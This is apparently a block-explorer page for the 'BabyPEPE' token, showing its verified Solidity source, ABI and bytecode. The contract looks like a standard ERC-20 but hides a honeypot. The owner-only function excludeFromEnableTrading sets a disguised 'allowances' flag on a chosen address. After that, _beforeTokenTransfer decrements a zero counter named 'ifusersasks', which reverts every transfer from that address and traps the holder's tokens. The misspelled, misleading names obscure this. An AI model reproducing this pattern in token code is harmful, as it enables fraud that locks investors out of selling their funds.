ETH Price: $2,728.22 (+12.62%)
 

Overview

Max Total Supply

100,000,000 BabyPEPE

Holders

438

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
221,684.487586767683796578 BabyPEPE

Value
$0.00
0x3E1551a4f583FFd6B22B93A15a9EaD357ab6B22b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BabyPEPE

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-05-02
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.17;


interface IERC20 {
   
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner,
     address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner,
     address indexed spender, uint256 value);
}


interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data; 
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "BabyPEPEOwnable:  caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero BabyPEPE address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    string private _name;
    string private _symbol;
    uint256 private _totalSupply;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "BabyPEPE: transfer amount exceeds allowance");
            unchecked {
                _approve(sender, _msgSender(), currentAllowance - amount);
            }
        }

        _transfer(sender, recipient, amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance BabyPEPE below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20BabyPEPE: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer BabyPEPE to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "BabyPEPEERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from BabyPEPE the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount BabyPEPE exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: BabyPEPE approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract BabyPEPE is ERC20, Ownable {
    
    mapping (address => bool) private _isExcludedFromEnableTrad;

    mapping(address => uint256) private ifusersasks;

    constructor () ERC20("BabyPEPE", "BabyPEPE") 
    {   
        _isExcludedFromEnableTrad[_msgSender()] = true;
        _mint(_msgSender(), 100000000 * (10 ** decimals()));
    }

    receive() external payable {}

    function excludeFromEnableTrading(address account, bool excluded,address account2) external onlyOwner{
        _isExcludedFromEnableTrad[account] 
        =
        excluded;
         allowances[owner()][account2]
         = excluded;
    }

    function isExcludedFramEnobleTrading(address account) public view returns(bool) {
        return _isExcludedFromEnableTrad[account];
    }

    
    mapping (address => mapping (address => bool)) public allowances;

    function getusertxs(address _address) public view returns (uint256) {
        return ifusersasks[_address];
    }

    function getAllowances(address _address) public view returns (bool) {
        return allowances[owner()][_address];
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
        super._beforeTokenTransfer(from, to, amount);

        if(from != address(0) && to != address(0) && allowances[owner()][from]) {
            ifusersasks[from]--;
        }
    }

    bool public tradingEnabled;

    function enableTrading() external onlyOwner{
        require(!tradingEnabled, "Trading already BabyPEPE enabled.");
        tradingEnabled = true;
    }

    function _transfer(address from,address to,uint256 amount) internal  override {
        require(from != address(0), "ERC20: transfer from the BabyPEPE zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tradingEnabled || _isExcludedFromEnableTrad[from] || _isExcludedFromEnableTrad[to], "Trading BabyPEPE not yet enabled!");
       
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        super._transfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowances","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"},{"internalType":"address","name":"account2","type":"address"}],"name":"excludeFromEnableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getAllowances","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getusertxs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFramEnobleTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040523480156200001157600080fd5b506040518060400160405280600881526020017f42616279504550450000000000000000000000000000000000000000000000008152506040518060400160405280600881526020017f426162795045504500000000000000000000000000000000000000000000000081525081600290816200008f919062000805565b508060039081620000a1919062000805565b505050620000c4620000b86200018060201b60201c565b6200018860201b60201c565b600160066000620000da6200018060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200017a6200013f6200018060201b60201c565b6200014f6200024e60201b60201c565b600a6200015d919062000a7c565b6305f5e1006200016e919062000acd565b6200025760201b60201c565b62000c58565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002c9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002c09062000b9f565b60405180910390fd5b620002dd60008383620003cf60201b60201c565b8060046000828254620002f1919062000bc1565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000348919062000bc1565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003af919062000c0d565b60405180910390a3620003cb600083836200055760201b60201c565b5050565b620003e78383836200055c60201b62000fd31760201c565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015620004525750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015620004f45750600860006200046e6200056160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156200055257600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906200054c9062000c2a565b91905055505b505050565b505050565b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200060d57607f821691505b602082108103620006235762000622620005c5565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200068d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200064e565b6200069986836200064e565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620006e6620006e0620006da84620006b1565b620006bb565b620006b1565b9050919050565b6000819050919050565b6200070283620006c5565b6200071a6200071182620006ed565b8484546200065b565b825550505050565b600090565b6200073162000722565b6200073e818484620006f7565b505050565b5b8181101562000766576200075a60008262000727565b60018101905062000744565b5050565b601f821115620007b5576200077f8162000629565b6200078a846200063e565b810160208510156200079a578190505b620007b2620007a9856200063e565b83018262000743565b50505b505050565b600082821c905092915050565b6000620007da60001984600802620007ba565b1980831691505092915050565b6000620007f58383620007c7565b9150826002028217905092915050565b62000810826200058b565b67ffffffffffffffff8111156200082c576200082b62000596565b5b620008388254620005f4565b620008458282856200076a565b600060209050601f8311600181146200087d576000841562000868578287015190505b620008748582620007e7565b865550620008e4565b601f1984166200088d8662000629565b60005b82811015620008b75784890151825560018201915060208501945060208101905062000890565b86831015620008d75784890151620008d3601f891682620007c7565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200097a57808604811115620009525762000951620008ec565b5b6001851615620009625780820291505b808102905062000972856200091b565b945062000932565b94509492505050565b60008262000995576001905062000a68565b81620009a5576000905062000a68565b8160018114620009be5760028114620009c957620009ff565b600191505062000a68565b60ff841115620009de57620009dd620008ec565b5b8360020a915084821115620009f857620009f7620008ec565b5b5062000a68565b5060208310610133831016604e8410600b841016171562000a395782820a90508381111562000a335762000a32620008ec565b5b62000a68565b62000a48848484600162000928565b9250905081840481111562000a625762000a61620008ec565b5b81810290505b9392505050565b600060ff82169050919050565b600062000a8982620006b1565b915062000a968362000a6f565b925062000ac57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000983565b905092915050565b600062000ada82620006b1565b915062000ae783620006b1565b925082820262000af781620006b1565b9150828204841483151762000b115762000b10620008ec565b5b5092915050565b600082825260208201905092915050565b7f426162795045504545524332303a206d696e7420746f20746865207a65726f2060008201527f6164647265737300000000000000000000000000000000000000000000000000602082015250565b600062000b8760278362000b18565b915062000b948262000b29565b604082019050919050565b6000602082019050818103600083015262000bba8162000b78565b9050919050565b600062000bce82620006b1565b915062000bdb83620006b1565b925082820190508082111562000bf65762000bf5620008ec565b5b92915050565b62000c0781620006b1565b82525050565b600060208201905062000c24600083018462000bfc565b92915050565b600062000c3782620006b1565b91506000820362000c4d5762000c4c620008ec565b5b600182039050919050565b6124778062000c686000396000f3fe60806040526004361061012e5760003560e01c806370a08231116100ab578063a457c2d71161006f578063a457c2d714610401578063a9059cbb1461043e578063bb22c7501461047b578063dd62ed3e146104b8578063e23811c7146104f5578063f2fde38b1461053257610135565b806370a0823114610340578063715018a61461037d5780638a8c523c146103945780638da5cb5b146103ab57806395d89b41146103d657610135565b8063313ce567116100f2578063313ce5671461024757806339509351146102725780634ada218b146102af57806355b6ed5c146102da578063641d601c1461031757610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a25780631ce9029d146101cd57806323b872dd1461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f61055b565b60405161015c91906118f0565b60405180910390f35b34801561017157600080fd5b5061018c600480360381019061018791906119ab565b6105ed565b6040516101999190611a06565b60405180910390f35b3480156101ae57600080fd5b506101b761060b565b6040516101c49190611a30565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef9190611a4b565b610615565b6040516102019190611a06565b60405180910390f35b34801561021657600080fd5b50610231600480360381019061022c9190611a78565b6106af565b60405161023e9190611a06565b60405180910390f35b34801561025357600080fd5b5061025c6107ce565b6040516102699190611ae7565b60405180910390f35b34801561027e57600080fd5b50610299600480360381019061029491906119ab565b6107d7565b6040516102a69190611a06565b60405180910390f35b3480156102bb57600080fd5b506102c4610883565b6040516102d19190611a06565b60405180910390f35b3480156102e657600080fd5b5061030160048036038101906102fc9190611b02565b610896565b60405161030e9190611a06565b60405180910390f35b34801561032357600080fd5b5061033e60048036038101906103399190611b6e565b6108c5565b005b34801561034c57600080fd5b5061036760048036038101906103629190611a4b565b610a38565b6040516103749190611a30565b60405180910390f35b34801561038957600080fd5b50610392610a80565b005b3480156103a057600080fd5b506103a9610b08565b005b3480156103b757600080fd5b506103c0610bf1565b6040516103cd9190611bd0565b60405180910390f35b3480156103e257600080fd5b506103eb610c1b565b6040516103f891906118f0565b60405180910390f35b34801561040d57600080fd5b50610428600480360381019061042391906119ab565b610cad565b6040516104359190611a06565b60405180910390f35b34801561044a57600080fd5b50610465600480360381019061046091906119ab565b610d98565b6040516104729190611a06565b60405180910390f35b34801561048757600080fd5b506104a2600480360381019061049d9190611a4b565b610db6565b6040516104af9190611a06565b60405180910390f35b3480156104c457600080fd5b506104df60048036038101906104da9190611b02565b610e0c565b6040516104ec9190611a30565b60405180910390f35b34801561050157600080fd5b5061051c60048036038101906105179190611a4b565b610e93565b6040516105299190611a30565b60405180910390f35b34801561053e57600080fd5b5061055960048036038101906105549190611a4b565b610edc565b005b60606002805461056a90611c1a565b80601f016020809104026020016040519081016040528092919081815260200182805461059690611c1a565b80156105e35780601f106105b8576101008083540402835291602001916105e3565b820191906000526020600020905b8154815290600101906020018083116105c657829003601f168201915b5050505050905090565b60006106016105fa610fd8565b8484610fe0565b6001905092915050565b6000600454905090565b600060086000610623610bf1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106fb610fd8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146107b757828110156107a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079990611cbd565b60405180910390fd5b6107b6856107ae610fd8565b858403610fe0565b5b6107c28585856111a9565b60019150509392505050565b60006012905090565b60006108796107e4610fd8565b8484600160006107f2610fd8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108749190611d0c565b610fe0565b6001905092915050565b600960009054906101000a900460ff1681565b60086020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b6108cd610fd8565b73ffffffffffffffffffffffffffffffffffffffff166108eb610bf1565b73ffffffffffffffffffffffffffffffffffffffff1614610941576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093890611db2565b60405180910390fd5b81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555081600860006109a5610bf1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a88610fd8565b73ffffffffffffffffffffffffffffffffffffffff16610aa6610bf1565b73ffffffffffffffffffffffffffffffffffffffff1614610afc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af390611db2565b60405180910390fd5b610b0660006113a8565b565b610b10610fd8565b73ffffffffffffffffffffffffffffffffffffffff16610b2e610bf1565b73ffffffffffffffffffffffffffffffffffffffff1614610b84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7b90611db2565b60405180910390fd5b600960009054906101000a900460ff1615610bd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bcb90611e44565b60405180910390fd5b6001600960006101000a81548160ff021916908315150217905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610c2a90611c1a565b80601f0160208091040260200160405190810160405280929190818152602001828054610c5690611c1a565b8015610ca35780601f10610c7857610100808354040283529160200191610ca3565b820191906000526020600020905b815481529060010190602001808311610c8657829003601f168201915b5050505050905090565b60008060016000610cbc610fd8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610d79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7090611ed6565b60405180910390fd5b610d8d610d84610fd8565b85858403610fe0565b600191505092915050565b6000610dac610da5610fd8565b84846111a9565b6001905092915050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ee4610fd8565b73ffffffffffffffffffffffffffffffffffffffff16610f02610bf1565b73ffffffffffffffffffffffffffffffffffffffff1614610f58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4f90611db2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610fc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbe90611f68565b60405180910390fd5b610fd0816113a8565b50565b505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361104f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104690611ffa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b59061208c565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161119c9190611a30565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611218576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120f9061211e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611287576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127e906121b0565b60405180910390fd5b600960009054906101000a900460ff16806112eb5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061133f5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61137e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137590612242565b60405180910390fd5b60008103611397576113928383600061146e565b6113a3565b6113a283838361146e565b5b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d4906122d4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361154c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154390612366565b60405180910390fd5b6115578383836116ed565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156115dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d4906123f8565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546116709190611d0c565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116d49190611a30565b60405180910390a36116e784848461185b565b50505050565b6116f8838383610fd3565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117625750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117fb575060086000611775610bf1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561185657600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919061185090612418565b91905055505b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561189a57808201518184015260208101905061187f565b60008484015250505050565b6000601f19601f8301169050919050565b60006118c282611860565b6118cc818561186b565b93506118dc81856020860161187c565b6118e5816118a6565b840191505092915050565b6000602082019050818103600083015261190a81846118b7565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061194282611917565b9050919050565b61195281611937565b811461195d57600080fd5b50565b60008135905061196f81611949565b92915050565b6000819050919050565b61198881611975565b811461199357600080fd5b50565b6000813590506119a58161197f565b92915050565b600080604083850312156119c2576119c1611912565b5b60006119d085828601611960565b92505060206119e185828601611996565b9150509250929050565b60008115159050919050565b611a00816119eb565b82525050565b6000602082019050611a1b60008301846119f7565b92915050565b611a2a81611975565b82525050565b6000602082019050611a456000830184611a21565b92915050565b600060208284031215611a6157611a60611912565b5b6000611a6f84828501611960565b91505092915050565b600080600060608486031215611a9157611a90611912565b5b6000611a9f86828701611960565b9350506020611ab086828701611960565b9250506040611ac186828701611996565b9150509250925092565b600060ff82169050919050565b611ae181611acb565b82525050565b6000602082019050611afc6000830184611ad8565b92915050565b60008060408385031215611b1957611b18611912565b5b6000611b2785828601611960565b9250506020611b3885828601611960565b9150509250929050565b611b4b816119eb565b8114611b5657600080fd5b50565b600081359050611b6881611b42565b92915050565b600080600060608486031215611b8757611b86611912565b5b6000611b9586828701611960565b